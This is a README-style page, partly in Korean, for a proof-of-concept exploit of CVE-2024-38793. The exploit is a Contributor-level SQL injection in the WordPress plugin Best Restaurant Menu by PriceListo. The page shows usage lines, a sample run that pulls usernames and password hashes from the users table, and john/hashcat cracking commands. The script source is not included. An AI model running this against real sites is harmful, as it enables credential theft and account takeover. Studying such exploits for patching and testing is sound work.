
CVE-2024-38793 악용을 위한 개념 증명(PoC) 코드 (Best Restaurant Menu by PriceListo <= 1.4.1 - 인증된 사용자(Contributor+) SQL 인젝션)
CVE-2024-38793 (Best Restaurant Menu by PriceListo <= 1.4.1 - 인증된 (Contributor+) SQL 인젝션) 악용을 위한 개념 증명(PoC) 코드입니다.
이 문서는 CVE-2024-38793 취약점에 대한 개념 증명(PoC) 익스플로잇입니다. 이는 1.4.2 미만 버전의 WordPress 플러그인 Best Restaurant Menu (일명 Great Restaurant Menu WP)에서 발생하는 SQL 인젝션 취약점입니다.
이 취약점은 brm_restaurant_menu 쇼트코드를 사용할 때 groups 인수에 대한 입력 검증(input sanitization)이 부족하여 발생합니다.
참고: 이 익스플로잇을 실행하려면 최소한 Contributor 수준의 권한을 가진 사용자의 자격 증명이 필요합니다.
이 코드는 WordPress 사용자 테이블에서 사용자 이름과 비밀번호 해시를 추출하려고 시도합니다.
CVE-2024-38793 Exploit (Best Restaurant Menu by PriceListo Version <= 1.4.1) PoC
Requires Contributor+ Privileges on a WordPress instance with the plugin installed
Credit: @ret2desync
Will attempt to create a new post, exploit the vulnerability and extract all users usernames and password hashes
Example usage:
python3 CVE-2024-38793.py -t "http://127.0.0.1/wordpress/" -u contributor -p password --proxy "http://127.0.0.1:8080"
usage: CVE-2024-38793.py [-h] -t TARGET -u USERNAME -p PASSWORD [--proxy PROXY] [-o OUTFILE]
python3 CVE-2024-38793.py -t "http://127.0.0.1/wordpress/" -u contributor -p password
CVE-2024-38793 Exploit (Best Restaurant Menu by PriceListo Version <= 1.4.1) PoC
Requires Contributor+ Privileges on a WordPress instance with the plugin installed
Credit: @ret2desync
Will attempt to create a new post, exploit the vulnerability and extract all users usernames and password hashes
Example usage:
python3 CVE-2024-38793.py -t "http://127.0.0.1/wordpress/" -u contributor -p password --proxy "http://127.0.0.1:8080"
[*] Successfully signed in to Wordpress using contributor password
[*] Successfully created new post, id: 219
[*] Successfully saved new post with exploit, post id: 219
[*] Successfully grabbed usernames and password hashes
[*] Found 2 sets of credentials
[*** Credentials ***]
root:$P$BG.b.gHI.byee9PWs8GspKxY9qp0Cm0
contributor:$P$BBVRINbQUo28Tpbp3H7/iITT/Eo9aR0
[*] Crack hashes with:
john <hashes_file> --wordlist=<wordlist>
hashcat -m 400 -a 0 --username <hashes_file> <wordlist>
[*] Exploit completed successfully